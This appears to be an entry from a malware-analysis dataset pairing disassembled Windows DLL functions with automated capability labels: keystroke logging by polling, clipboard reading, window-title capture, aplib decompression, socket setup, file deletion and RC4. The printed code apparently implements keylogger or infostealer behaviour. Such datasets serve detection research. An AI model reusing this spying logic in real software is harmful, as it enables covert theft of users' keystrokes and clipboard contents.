joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001e78c
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x20
mov esi, 8
mov rbp, rcx
lea edx, [rsi + 0x14]
call fcn.18002b31c
mov rcx, qword [0x180039e28]
lea r8, [rsp + 0x58]
mov edx, eax
call fcn.18001ff6c
neg eax
sbb rbx, rbx
xor r14d, r14d
and rbx, qword [rsp + 0x58]
cmp rbx, r14
je 0x18001e96c
mov r13d, dword [rbx + 0x4a18]
cmp r13d, r14d
jne 0x18001e8b4
mov r8d, dword [rbp]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
cmp rax, r14
je 0x18001e821
lea r8, [rbx + 0x10]
xor edx, edx
mov r9d, 0x104
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbx + 0x4a1c], 1
cmp qword [0x180039e30], r14
je 0x18001e894
lea rcx, [rbx + 0x10]
mov r8d, 0x5c
xor edx, edx
call qword [sym.imp.SHLWAPI.dll_StrRChrW]
mov r12, rax
cmp rax, r14
je 0x18001e894
lea rcx, [rax + 2]
mov edx, 0x2e
call qword [sym.imp.SHLWAPI.dll_StrChrW]
mov rdi, rax
cmp rax, r14
je 0x18001e869
mov word [rax], r14w
mov rcx, qword [0x180039e30]
lea rdx, [r12 + 2]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
cmp rax, r14
jne 0x18001e887
mov dword [rbx + 0x4a1c], r14d
cmp rdi, r14
je 0x18001e894
mov eax, 0x2e
mov word [rdi], ax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov rcx, qword [rbp + 0x10]
lea rdx, [rbx + 0x218]
mov r8d, 0x400
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [rbx + 0x4a18], 1
cmp dword [rbx + 0x4a1c], r14d
je 0x18001e955
movzx ecx, word [rbp + 0x20]
cmp cx, r14w
je 0x18001e900
mov eax, dword [rbx + 8]
cmp eax, 0x2000
jae 0x18001e900
cmp cx, si
jne 0x18001e8f0
cmp eax, r14d
je 0x18001e8fb
dec eax
mov dword [rbx + 8], eax
jmp 0x18001e8fb
mov word [rbx + rax*2 + 0xa18], cx
inc dword [rbx + 8]
mov esi, r14d
jmp 0x18001e905
mov esi, 0x6f
cmp qword [rbp + 0x22], r14
je 0x18001e955
mov rcx, qword [0x180039b48]
xor edx, edx
lea r8d, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
cmp rax, r14
je 0x18001e955
lea rcx, [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov r11, qword [rbp + 0x22]
lea rdx, [rbx + 0x4a20]
mov qword [rdi + 0x18], r11
mov qword [rbp + 0x22], r14
mov rcx, qword [rdx + 8]
mov qword [rdi + 8], rcx
mov qword [rdi], rdx
mov qword [rcx], rdi
mov qword [rdx + 8], rdi
cmp r13d, r14d
je 0x18001e96c
mov rcx, qword [0x180039e28]
lea r8, [rbx - 0x34]
xor edx, edx
call fcn.1800200f4
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov eax, esi
add rsp, 0x20
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x18001ed08
Capabilities:
Get graphical window text

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0xa0
xor ebx, ebx
mov r14, r8
mov r13, rdx
mov r12d, ecx
lea rdi, [0x1800380ec]
mov esi, ebx
cmp dword [rdi - 4], r12d
jne 0x18001ed7b
cmp dword [rdi], ebx
je 0x18001ed8c
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r13
call qword [sym.imp.USER32.dll_GetClassNameA]
cmp eax, ebx
mov ebp, eax
jle 0x18001ed8c
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, ebp
call fcn.18002b31c
cmp eax, dword [rdi]
je 0x18001ed8c
inc esi
add rdi, 0x14
cmp esi, 3
jae 0x18001ee55
jmp 0x18001ed3c
mov eax, esi
lea rbp, [0x1800380e8]
lea rdi, [rax + rax*4]
cmp dword [rbp + rdi*4 + 0xc], ebx
je 0x18001edd6
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r13
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
mov esi, eax
jle 0x18001edd6
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.18002b31c
cmp eax, dword [rbp + rdi*4 + 0xc]
jne 0x18001ee55
cmp dword [rbp + rdi*4 + 8], ebx
je 0x18001ee13
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_GetClassNameA]
cmp eax, ebx
mov esi, eax
jle 0x18001ee13
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.18002b31c
cmp eax, dword [rbp + rdi*4 + 8]
jne 0x18001ee55
cmp dword [rbp + rdi*4 + 0x10], ebx
je 0x18001ee50
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
mov esi, eax
jle 0x18001ee50
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.18002b31c
cmp eax, dword [rbp + rdi*4 + 0x10]
jne 0x18001ee55
mov ebx, 1
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
ret
Function at 0x18001ee7c
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x180
xor r13d, r13d
mov edi, r8d
mov rbp, rcx
mov ebx, edx
lea rcx, [rsp + 0x4c]
lea r8d, [r13 + 0x26]
xor edx, edx
mov r12d, r9d
mov esi, r13d
mov dword [rsp + 0x48], r13d
call sub.ntdll.dll_memset
cmp ebx, 0x100
jne 0x18001f06d
lea r8d, [r13 + 0x2a]
lea rcx, [rsp + 0x48]
xor edx, edx
call sub.ntdll.dll_memset
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, ebx
call sub.ntdll.dll_memset
lea edx, [r13 + 3]
mov rcx, rbp
call qword [sym.imp.USER32.dll_GetAncestor]
mov ebx, dword [rsp + 0x1c8]
mov ecx, dword [rsp + 0x1d0]
mov r8, rax
cmp rax, r13
mov eax, dword [rsp + 0x1c0]
cmove r8, rbp
mov rdx, rbp
mov dword [rsp + 0x4c], ebx
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], r8
call fcn.18001ed08
lea rcx, [rsp + 0x80]
mov dword [rsp + 0x60], eax
call qword [sym.imp.USER32.dll_GetKeyboardState]
cmp eax, r13d
je 0x18001f06d
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov ecx, 0xa0
mov rbx, rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0xa1
mov r11w, ax
shr r11, 8
mov byte [rsp + 0x120], r11b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea ecx, [r13 + 0x10]
mov r11w, ax
shr r11, 8
mov byte [rsp + 0x121], r11b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov qword [rsp + 0x30], rbx
mov r11w, ax
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x80]
shr r11, 8
mov edx, r12d
mov ecx, edi
mov dword [rsp + 0x28], r13d
mov word [rsp + 0x40], r13w
mov byte [rsp + 0x90], r11b
mov dword [rsp + 0x20], 3
call qword [sym.imp.USER32.dll_ToUnicodeEx]
lea esi, [r13 + 1]
cmp eax, 0xffffffff
je 0x18001f06d
cmp eax, r13d
je 0x18001f012
movsxd rdi, eax
mov rbx, r13
cmp rdi, r13
jle 0x18001f06d
movzx eax, word [rsp + rbx*2 + 0x40]
lea rcx, [rsp + 0x48]
mov word [rsp + 0x68], ax
call fcn.18001e78c
add rbx, rsi
cmp rbx, rdi
jl 0x18001eff4
jmp 0x18001f06d
sub edi, 8
mov ax, r13w
je 0x18001f053
sub edi, esi
je 0x18001f04c
sub edi, 0x1c
je 0x18001f045
sub edi, esi
je 0x18001f03e
sub edi, esi
je 0x18001f037
cmp edi, esi
jne 0x18001f058
mov eax, 0x2193
jmp 0x18001f058
mov eax, 0x2192
jmp 0x18001f058
mov eax, 0x2191
jmp 0x18001f058
mov eax, 0x2190
jmp 0x18001f058
mov eax, 0x2423
jmp 0x18001f058
mov eax, 0x21d0
mov word [rsp + 0x68], ax
cmp ax, r13w
je 0x18001f06d
lea rcx, [rsp + 0x48]
call fcn.18001e78c
mov r8, qword [rsp + 0x6a]
cmp r8, r13
je 0x18001f086
mov rcx, qword [0x180039b48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r11, [rsp + 0x180]
mov eax, esi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x18001f1b8
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x50
and dword [rax - 0x38], 0
xor edx, edx
lea rcx, [rax - 0x34]
lea r8d, [rdx + 0x26]
call sub.ntdll.dll_memset
mov ecx, 1
call qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x18001f2d0
call qword [sym.imp.USER32.dll_GetClipboardOwner]
mov rbp, rax
test rax, rax
je 0x18001f2d0
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x18001f2d0
mov ecx, 0xd
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rdi, rax
test rax, rax
je 0x18001f2ca
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rsi, rax
test rax, rax
je 0x18001f2c1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 0x2a]
mov ebx, eax
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x60]
mov rcx, rbp
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [rsp + 0x60]
mov edx, 3
mov dword [rsp + 0x20], ecx
mov rcx, rbp
mov dword [rsp + 0x24], eax
mov qword [rsp + 0x28], rbp
call qword [sym.imp.USER32.dll_GetAncestor]
mov rcx, qword [0x180039b48]
lea r8d, [rbx + rbx + 2]
xor edx, edx
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x42], rax
test rax, rax
je 0x18001f2b7
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rsp + 0x20]
call fcn.18001e78c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x1800202ac
Capabilities:
Decompress data using aplib

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov al, byte [rcx]
xor r10d, r10d
xor r11d, r11d
and dword [rsp + 0x34], r10d
mov byte [rdx], al
lea rax, [rdx + 1]
mov qword [rsp + 0x28], rax
lea rax, [rcx + 1]
xor edi, edi
mov qword [rsp + 0x20], rax
mov rbx, rdx
lea esi, [rdi + 1]
lea rcx, [rsp + 0x20]
call fcn.180020270
test eax, eax
je 0x1800204af
lea rcx, [rsp + 0x20]
call fcn.180020270
test eax, eax
je 0x1800203a6
lea rcx, [rsp + 0x20]
call fcn.180020270
test eax, eax
je 0x180020356
xor r9d, r9d
lea r11d, [r9 + 4]
lea rcx, [rsp + 0x20]
call fcn.180020270
sub r11d, esi
lea r9d, [rax + r9*2]
jne 0x18002031d
mov r8, qword [rsp + 0x28]
test r9d, r9d
je 0x18002034d
mov ecx, r9d
mov rax, r8
sub rax, rcx
mov al, byte [rax]
mov byte [r8], al
jmp 0x1800204c6
mov byte [r8], 0
jmp 0x1800204c6
mov rax, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
movzx r10d, byte [rax]
add rax, rsi
mov ecx, r10d
mov qword [rsp + 0x20], rax
and ecx, esi
add ecx, 2
shr r10d, 1
je 0x18002039f
mov eax, r10d
test ecx, ecx
je 0x1800204aa
mov rdx, r8
sub rdx, rax
mov al, byte [rdx]
add rdx, rsi
mov byte [r8], al
add r8, rsi
add ecx, 0xffffffff
jne 0x18002038a
jmp 0x1800204a5
mov edi, esi
jmp 0x1800204aa
mov r9d, esi
lea rcx, [rsp + 0x20]
call fcn.180020270
lea rcx, [rsp + 0x20]
lea r9d, [rax + r9*2]
call fcn.180020270
test eax, eax
jne 0x1800203a9
test r11d, r11d
jne 0x180020422
cmp r9d, 2
jne 0x18002041c
mov r9d, esi
lea rcx, [rsp + 0x20]
call fcn.180020270
lea rcx, [rsp + 0x20]
lea r9d, [rax + r9*2]
call fcn.180020270
test eax, eax
jne 0x1800203d3
mov r8, qword [rsp + 0x28]
movsxd rax, r10d
test r9d, r9d
je 0x1800204aa
mov rcx, r8
sub rcx, rax
mov al, byte [rcx]
add rcx, rsi
mov byte [r8], al
add r8, rsi
add r9d, 0xffffffff
jne 0x180020406
jmp 0x1800204a5
lea r10d, [r9 - 3]
jmp 0x180020426
lea r10d, [r9 - 2]
mov rcx, qword [rsp + 0x20]
shl r10d, 8
mov r9d, esi
movzx eax, byte [rcx]
add r10d, eax
add rcx, rsi
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x20]
call fcn.180020270
lea rcx, [rsp + 0x20]
lea r9d, [rax + r9*2]
call fcn.180020270
test eax, eax
jne 0x180020440
cmp r10d, 0x7d00
jb 0x180020468
inc r9d
cmp r10d, 0x500
jb 0x180020474
add r9d, esi
cmp r10d, 0x80
jae 0x180020481
add r9d, 2
mov r8, qword [rsp + 0x28]
movsxd rax, r10d
test r9d, r9d
je 0x1800204aa
mov rcx, r8
sub rcx, rax
mov al, byte [rcx]
add rcx, rsi
mov byte [r8], al
add r8, rsi
add r9d, 0xffffffff
jne 0x180020494
mov qword [rsp + 0x28], r8
mov r11d, esi
jmp 0x1800204d1
mov rdx, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
mov cl, byte [rdx]
add rdx, rsi
mov byte [r8], cl
mov qword [rsp + 0x20], rdx
add r8, rsi
xor r11d, r11d
mov qword [rsp + 0x28], r8
test edi, edi
je 0x1800202e4
mov rsi, qword [rsp + 0x58]
sub r8, rbx
mov rbx, qword [rsp + 0x50]
mov eax, r8d
add rsp, 0x40
pop rdi
ret
Function at 0x180020df8
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x70
and dword [rax + 0x20], 0
mov rsi, rcx
mov rcx, qword [0x180039b48]
mov rbp, rdx
mov edi, 8
xor edx, edx
lea r8d, [rdi + 0x50]
mov dword [rax - 0x20], 1
mov dword [rax - 0x1c], 0x2710
mov dword [rax - 0x18], 0x3e8
mov dword [rax - 0x28], 0x493e0
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x180020f4f
lea r8d, [rdi + 0x50]
xor edx, edx
mov rcx, rax
call sub.ntdll.dll_memset
and qword [rsp + 0x40], 0
and qword [rsp + 0x38], 0
or rax, 0xffffffffffffffff
lea r9d, [rdi + 4]
lea r8, [rsp + 0x58]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov edx, 0x98000004
mov rcx, rbp
mov qword [rbx + 8], rbx
mov qword [rbx], rbx
mov qword [rbx + 0x18], rsi
call qword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x180020f47
cmp dword [rsi + 0x54], eax
je 0x180020ee8
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 0x1006
mov rcx, rbp
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x180020f47
mov rdx, rbp
mov rcx, rbx
call qword [rsi + 0x40]
mov edi, eax
test eax, eax
jne 0x180020f47
lea rcx, [rsi + 0x10]
mov qword [rbx + 0x30], rbp
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea r8d, [rdi + 0x10]
lea rcx, [0x180020a28]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
test eax, eax
je 0x180020f31
mov rax, qword [rsi + 8]
mov qword [rbx], rsi
mov qword [rbx + 8], rax
mov qword [rax], rbx
mov qword [rsi + 8], rbx
jmp 0x180020f39
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rcx, [rsi + 0x10]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test edi, edi
je 0x180020f4f
mov rcx, rbx
call fcn.1800209c4
lea r11, [rsp + 0x70]
mov eax, edi
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x1800211dc
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
xor ebx, ebx
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x180021241
cmp eax, 0xffffffff
jne 0x180021234
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0x2733
jne 0x180021246
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
jmp 0x18002123b
sub edi, eax
cdqe
add rsi, rax
test edi, edi
je 0x180021246
jmp 0x1800211fb
mov ebx, 0x4d4
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180021260
Capabilities:
Create thread
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x1d0
xor esi, esi
mov r12, r9
mov rbp, r8
mov r13, rdx
test r9, r9
jne 0x180021293
lea edi, [rsi + 0x57]
jmp 0x1800213f6
lea rdx, [rsp + 0x30]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, eax
test eax, eax
jne 0x1800213cb
mov rcx, qword [0x180039b48]
mov edi, 0x90
xor edx, edx
mov r8, rdi
lea esi, [rax + 1]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x1800212d7
lea edi, [rsi + 7]
jmp 0x1800213e8
mov r8, rdi
xor edx, edx
mov rcx, rax
call sub.ntdll.dll_memset
lea rcx, [rbx + 0x50]
mov r8d, 0x10
mov rdx, r13
call sub.ntdll.dll_memcpy
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
or qword [rbx + 0x60], 0xffffffffffffffff
xor r9d, r9d
xor r8d, r8d
mov edx, esi
xor ecx, ecx
mov qword [rbx + 8], rbx
mov qword [rbx], rbx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x68], rax
test rax, rax
je 0x1800213d8
mov qword [rbx + 0x70], rbp
test rbp, rbp
jne 0x180021350
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbx + 0x78], rax
mov qword [rbx + 0x70], rax
test rax, rax
je 0x1800213d8
mov rcx, r12
call qword [sym.imp.SHLWAPI.dll_StrDupA]
mov r8d, 6
mov edx, esi
mov qword [rbx + 0x38], rax
lea rax, [fcn.1800207c4]
lea ecx, [r8 - 4]
mov qword [rbx + 0x40], rax
lea rax, [0x18002080c]
mov qword [rbx + 0x48], rax
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx + 0x60], rax
cmp rax, 0xffffffffffffffff
je 0x1800213d8
lea rax, [rbx + 0x88]
lea r8, [0x180020f68]
mov r9, rbx
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x80], rax
test rax, rax
je 0x1800213d8
mov qword [0x180039b58], rbx
xor edi, edi
jmp 0x1800213d3
mov rbx, qword [rsp + 0x208]
cmp edi, 0xffffffff
jne 0x1800213e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
je 0x1800213f6
test esi, esi
je 0x1800213f6
mov rcx, rbx
call fcn.180021418
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea r11, [rsp + 0x1d0]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rdi
ret

Function at 0x1800217c8
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov rcx, qword [rcx]
mov ebx, r8d
test rcx, rcx
je 0x18002180e
test rdx, rdx
je 0x18002180e
test ebx, ebx
je 0x18002180e
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1800217ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180021813
mov eax, dword [rsp + 0x40]
sub eax, ebx
neg eax
sbb eax, eax
and eax, 0x1d
jmp 0x180021813
mov eax, 0x57
add rsp, 0x30
pop rbx
ret
Function at 0x18002181c
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x30
mov rcx, qword [rcx]
mov ebx, r8d
test rcx, rcx
je 0x180021862
test rdx, rdx
je 0x180021862
test ebx, ebx
je 0x180021862
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180021853
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180021867
mov eax, dword [rsp + 0x40]
sub eax, ebx
neg eax
sbb eax, eax
and eax, 0x1e
jmp 0x180021867
mov eax, 0x57
add rsp, 0x30
pop rbx
ret
Function at 0x180025bf8
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x90
xor r12d, r12d
mov rdi, r8
mov rsi, rcx
mov rbx, rdx
lea rcx, [rax - 0x68]
lea r8d, [r12 + 0x60]
xor edx, edx
mov ebp, r12d
call sub.ntdll.dll_memset
cmp rsi, r12
je 0x180025c4b
cmp rbx, r12
je 0x180025c4b
cmp rdi, r12
je 0x180025c4b
mov al, byte [rbx]
mov rcx, rbx
cmp al, 0x2f
jne 0x180025c78
xor eax, eax
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret
cmp al, 0x5c
je 0x180025c4b
cmp al, 0x3a
je 0x180025c4b
inc rcx
mov al, byte [rcx]
cmp al, r12b
jne 0x180025c6b
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov rdx, rsi
lea rcx, [rsp + 0x30]
cmp eax, 0xffffffff
je 0x180025cc1
mov r8d, 0x809
call fcn.18002494c
mov rdx, rsi
lea rcx, [rsp + 0x30]
cmp eax, r12d
je 0x180025cc1
call fcn.180024dac
cmp eax, r12d
jne 0x180025cd7
lea rcx, [rsp + 0x30]
call fcn.180024a18
jmp 0x180025c4b
xor r8d, r8d
call fcn.180024d38
cmp eax, r12d
je 0x180025c4b
mov ebp, 1
lea rcx, [rsp + 0x30]
xor r9d, r9d
mov r8, rdi
mov rdx, rbx
mov dword [rsp + 0x28], 9
mov word [rsp + 0x20], r12w
call fcn.180025410
lea rcx, [rsp + 0x30]
mov ebx, eax
call fcn.180025978
lea rcx, [rsp + 0x30]
neg eax
sbb edi, edi
and edi, ebx
call fcn.180025ae4
neg eax
sbb ebx, ebx
and ebx, edi
cmp ebx, r12d
jne 0x180025d38
cmp ebp, r12d
je 0x180025d38
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp eax, r12d
jne 0x180025d38
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, ebx
jmp 0x180025c4d
Function at 0x180027fc8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov ebp, dword [rcx + 0x44]
mov rdi, rcx
mov edx, dword [rdi + 0x94]
mov ebx, dword [rdi + 0x58]
mov eax, dword [rdi + 0x44]
sub ebx, dword [rdi + 0x9c]
lea ecx, [rbp + rax - 0x106]
sub ebx, edx
cmp edx, ecx
jb 0x180028080
mov rcx, qword [rdi + 0x50]
mov r8, rbp
lea rdx, [rcx + rbp]
call sub.ntdll.dll_memcpy
mov r9d, dword [rdi + 0x74]
mov rax, qword [rdi + 0x68]
sub dword [rdi + 0x98], ebp
sub dword [rdi + 0x94], ebp
sub dword [rdi + 0x84], ebp
lea r8, [rax + r9*2]
sub r8, 2
xor eax, eax
movzx edx, word [r8]
movzx ecx, dx
sub cx, bp
cmp edx, ebp
cmovae ax, cx
add r9d, 0xffffffff
mov word [r8], ax
jne 0x180028033
mov rax, qword [rdi + 0x60]
mov r9d, ebp
lea r8, [rax + rbp*2]
sub r8, 2
xor eax, eax
movzx edx, word [r8]
movzx ecx, dx
sub cx, bp
cmp edx, ebp
cmovae ax, cx
add r9d, 0xffffffff
mov word [r8], ax
jne 0x18002805e
add ebx, ebp
mov rsi, qword [rdi]
cmp dword [rsi + 8], 0
je 0x180028159
mov eax, dword [rdi + 0x94]
mov r13d, dword [rdi + 0x9c]
add r13, rax
mov eax, dword [rsi + 8]
add r13, qword [rdi + 0x50]
cmp eax, ebx
mov r12d, eax
cmova r12d, ebx
test r12d, r12d
je 0x180028102
sub eax, r12d
mov dword [rsi + 8], eax
mov rax, qword [rsi + 0x28]
mov ecx, dword [rax + 0x2c]
cmp ecx, 1
jne 0x1800280d4
mov rdx, qword [rsi]
mov ecx, dword [rsi + 0x3c]
mov r8d, r12d
call fcn.18002d38c
jmp 0x1800280e7
cmp ecx, 2
jne 0x1800280ea
mov rdx, qword [rsi]
mov ecx, dword [rsi + 0x3c]
mov r8d, r12d
call fcn.18002b2c0
mov dword [rsi + 0x3c], eax
mov rdx, qword [rsi]
mov r8d, r12d
mov rcx, r13
mov ebx, r12d
call sub.ntdll.dll_memcpy
add qword [rsi], rbx
add dword [rsi + 0xc], r12d
add dword [rdi + 0x9c], r12d
mov r9d, dword [rdi + 0x9c]
cmp r9d, 3
jb 0x180028143
mov eax, dword [rdi + 0x94]
mov rdx, qword [rdi + 0x50]
mov ecx, dword [rdi + 0x80]
movzx r8d, byte [rax + rdx]
mov dword [rdi + 0x70], r8d
shl r8d, cl
inc eax
movzx eax, byte [rax + rdx]
xor r8d, eax
and r8d, dword [rdi + 0x7c]
mov dword [rdi + 0x70], r8d
cmp r9d, 0x106
jae 0x180028159
mov rax, qword [rdi]
cmp dword [rax + 8], 0
jne 0x180027fe6
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret